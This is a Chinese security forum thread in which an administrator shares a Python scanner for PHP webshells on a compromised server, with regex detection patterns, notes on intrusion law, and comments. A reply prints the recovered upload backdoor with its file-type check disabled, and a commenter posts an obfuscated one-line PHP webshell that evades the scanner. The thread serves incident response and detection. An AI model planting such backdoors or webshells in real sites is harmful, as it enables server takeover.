吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1729|回复: 16
收起左侧

[Python 原创] php webshell 查杀

  [复制链接]
odmin 发表于 2023-10-7 11:57
本帖最后由 odmin 于 2023-10-8 09:23 编辑

哇草,干活第一天就搞事情!!!清理了半天!
image.png
[Python] 纯文本查看 复制代码
import os
import re
import concurrent.futures

def scan_directory(directory, log_file):
    with open(log_file, 'w') as log:
        file_paths = get_php_file_paths(directory)

        with concurrent.futures.ThreadPoolExecutor() as executor:
            results = {executor.submit(scan_file, file_path): file_path for file_path in file_paths}

            for future in concurrent.futures.as_completed(results):
                file_path = results[future]
                has_webshell = future.result()
                if has_webshell:
                    log.write(file_path + '\n')

def get_php_file_paths(directory):
    file_paths = []

    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith('.php'):
                file_path = os.path.join(root, file)
                file_paths.append(file_path)

    return file_paths

def scan_file(file_path):
    with open(file_path, 'r', encoding='utf-8', errors='ignore') as file:
        contents = file.read()

        # 添加其他可疑代码的正则表达式
        webshell_patterns = [
            r'\s*\$mix=',
            r'\$shellname\s*=\s*\'[^\']*\'',
            r'\$PHP Encode by\s*=\s*\'[^\']*\'',
            # r'@set_time_limit\s*\(\s*0\s*\)',
            r'function\s+Class_UC_key\s*\(\s*\$string\s*\)\s*{',
            r'eval\s*\'[^\']*\'',
            # r'base64_decode\s*\(',
            # r'system\s*\(',
            # r'exec\s*\(',
            # r'shell_exec\s*\(',
            # r'passthru\s*\(',
            # r'proc_open\s*\(',
            # r'popen\s*\(',
            # r'assert\s*\(',
            # r'require\s*\(',
            # r'require_once\s*\(',
            # r'include\s*\(',
            # r'include_once\s*\(',
            # r'chmod\s*\(',
            # r'chown\s*\(',
            # r'copy\s*\(',
            # r'delete\s*\(',
            # r'file_put_contents\s*\(',
            # r'fopen\s*\(',
            # r'fwrite\s*\(',
            # r'move_uploaded_file\s*\(',
            # r'mkdir\s*\(',
            # r'rmdir\s*\(',
            # r'unlink\s*\(',
            # r'symlink\s*\(',
            # r'mysql_query\s*\(',
            # r'preg_match\s*\(',
            # r'md5\s*\(',
            # r'sha1\s*\(',
            # r'curl_exec\s*\(',
            # r'base_convert\s*\(',
            # r'extract\s*\(',
            # r'parse_str\s*\(',
            # r'ini_set\s*\(',
        ]

        for pattern in webshell_patterns:
            regex = re.compile(pattern, re.IGNORECASE)
            if regex.search(contents):
                return True

    return False

# 指定要扫描的目录和日志文件路径
directory_to_scan = '/www/wwwroot/'
log_file_path = 'log.txt'

# 扫描目录并将未包含可疑特征的文件路径写入日志文件
scan_directory(directory_to_scan, log_file_path)

print("扫描完成。请查看 log.txt 文件获取未包含可疑特征的文件列表。")


目标已经找到:
image.png

image.png
image.png


附上法律:


在法律中,和攻击入侵有关的主要是《刑法》第二百八十五和第二百八十六两条,以及相关司法解释。有无触犯这两项法条主要依据以下三点:

  • 有没有越权控制系统;
  • 有没有越权获得数据;
  • 有没有破坏系统可用性。


网页恶意篡改很大情况下都表明系统已经被入侵了并被控制,且造成系统内的数据被窃取。像CC、DDOS这种恶意攻击行为直接破坏了系统的可用性,导致系统无法正常运行和提供服务。

以上这两点攻击行为,根据《刑法》第二百八十六条“违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑……”妥妥得要进去吃牢饭了。

最后,如果报警了是否会得到妥善处理呢?

事实上,公安部网络违法案件举报网站会认真对待每一条举报线索。经核查后情况属实的,公安机关将依法对被举报网站以及相关人员做出处理,并将处理情况反馈给举报人。

所以,一旦发现网页被篡改或者服务器有被入侵或控制的迹象,请不要犹豫,及时做好安全应急响应,保留日志证据并报警,减少后续的损失,让坏人被绳之以法!

php webshell 样本.zip

56 KB, 下载次数: 57, 下载积分: 吾爱币 -1 CB

后门样本

免费评分

参与人数 4吾爱币 +10 热心值 +3 收起 理由
junjia215 + 1 + 1 用心讨论,共获提升!
wushaominkk + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
caojian162411 + 1 + 1 我很赞同!
lookteas + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| odmin 发表于 2023-10-7 12:24
本帖最后由 odmin 于 2023-10-7 12:25 编辑

还留了上传后门~~
[PHP] 纯文本查看 复制代码
<?php
        header("Content-Type:text/html; charset=gb2312");
        if(isset($_POST['submit']))
        {
                $upfiles = new Upload();
                $upfiles->upload_file();
        }
        class Upload
        {

                public $upload_name;                                                //上传文件名
                public $upload_tmp_name;                                        //上传临时文件名
                public $upload_final_name;                                        //上传文件的最终文件名
                public $upload_target_dir;                                        //文件被上传到的目标目录
                public $upload_target_path;                                        //文件被上传到的最终路径
                public $upload_filetype ;                                        //上传文件类型
                public $allow_uploadedfile_type;                        //允许的上传文件类型
                public $upload_file_size;                                        //上传文件的大小
                public $allow_uploaded_maxsize=10000000;        //允许上传文件的最大值
                //构造函数
                public function __construct()
                {
                        $this->upload_name = $_FILES["file"]["name"]; //取得上传文件名
                        $this->upload_filetype = $_FILES["file"]["type"];
                        $this->upload_tmp_name = $_FILES["file"]["tmp_name"];
                        $this->allow_uploadedfile_type = array('jpeg','jpg','png','gif','bmp','doc','zip','rar','txt','wps');
                        $this->upload_file_size = $_FILES["file"]["size"];
                        
                        //定义上传路径,现在的上传和upload.php在同级
                        $this->upload_target_dir="./";
                }
                //文件上传
                public function upload_file()
                {
                        $upload_filetype = $this->getFileExt($this->upload_name);
                        //对上传文件类型的限制,改成if(1)则没有限制
                        if(1)        //in_array($upload_filetype,$this->allow_uploadedfile_type))
                        {
                                if($this->upload_file_size < $this->allow_uploaded_maxsize)
                                {
                                        if(!is_dir($this->upload_target_dir))
                                        {
                                                mkdir($this->upload_target_dir);
                                                chmod($this->upload_target_dir,0777);
                                        }
                                        
                                        //定义服务器存储时的文件名(默认和上传的原始文件同名)
                                        $this->upload_final_name = $this->upload_name;                //date("YmdHis").rand(0,100).'.'.$upload_filetype;
                                        $this->upload_target_path = $this->upload_target_dir."/".$this->upload_final_name;
                                        if(!move_uploaded_file($this->upload_tmp_name,$this->upload_target_path))
                                                echo "<font color=red>文件上传失败!</font>";
                                        else
                                                echo "<font color=blue>文件上传成功!</font>";
                                }
                                else
                                {
                                        echo("<font color=red>文件太大,上传失败!</font>");
                                }
                        }
                        else
                        {
                                echo("不支持此文件类型,请重新选择");
                        }
                }
        
                /**
                *获取文件扩展名
                *@Param String $filename 要获取文件名的文件
                */
                public function getFileExt($filename){
                $info = pathinfo($filename);
                return $info["extension"];
                }
        }
?>


        <form enctype="multipart/form-data" method="POST" action="">
        <input type="file" name="file"><input type="submit" name="submit" value="上传">
        </form>
smile1110 发表于 2023-10-16 01:20
@odmin  兄弟,未来这种大小马记得也分享出来,这上传小马写的真不错,世界一流水平,像这种持续多平台的小马还真不多。我拿走了谢谢,对了,我的一句话,<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);  你怎么没有查出来呢,哈哈
lookteas 发表于 2023-10-7 12:02
airdear 发表于 2023-10-7 12:49
你是招惹哪个了 还是对方想进去的很了 日志留没留东西 留了报就打1&#65039;&#8419;1&#65039;&#8419;0&#65039;&#8419;
1188 发表于 2023-10-7 14:34
你这是Tp的哪个版本啊,知道是哪个文件漏洞造成的嘛
 楼主| odmin 发表于 2023-10-7 16:32
1188 发表于 2023-10-7 14:34
你这是Tp的哪个版本啊,知道是哪个文件漏洞造成的嘛

3.2.3 TP. 哈哈,这个是外包公司做的一个狗屁系统~不维护了!
估计是什么某鱼社区团购系统+dede的官方站。都被日了。

下午又发现了,挂的马!!!~

找到你了马儿:
image.png
挂的马儿:
image.png
看看访问日志:
image.png


yzyyy 发表于 2023-10-7 18:36
这扫描器有点意思
1188 发表于 2023-10-7 22:59
3.23 和 dede的漏洞都很多,这两个项目都不维护了,我估计你这是被批量扫了,如果不能升级项目就搞个bt的防火墙,也能拦截住这些漏洞。这站的特征已经暴露,时不时的就会被扫到。
suma69s 发表于 2023-10-8 14:25
你这是蜜罐还是啥呀?
ldxxhcjs 发表于 2023-10-10 14:41
网络安全+python编程代码组合,实用性还是很强!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-29 13:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表